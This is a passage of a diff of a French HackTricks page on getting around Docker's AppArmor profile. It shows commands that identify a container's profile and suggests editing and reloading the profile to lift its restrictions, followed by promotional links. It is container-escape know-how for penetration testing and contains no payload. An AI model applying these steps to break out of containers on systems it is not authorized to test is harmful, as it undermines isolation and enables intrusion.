Habituellement, lorsque vous **découvrez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un conteneur **docker** mais qu'une partie de l'**exploit ne fonctionne pas**, cela sera parce que l'**apparmor de docker l'empêchera**.
|
||||
{% endhint %}
|
||||
|
||||
## Évasion d'AppArmor Docker
|
||||
## Évasion AppArmor Docker
|
||||
|
||||
Vous pouvez trouver quel **profil AppArmor exécute un conteneur** en utilisant:
|
||||
Vous pouvez trouver quel **profil apparmor est utilisé par un conteneur** en utilisant :
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé**:
|
||||
Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé** :
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger**, vous pouvez supprimer les restrictions et les "contourner".
|
||||
Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger.** Vous pourriez supprimer les restrictions et les "contourner".
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue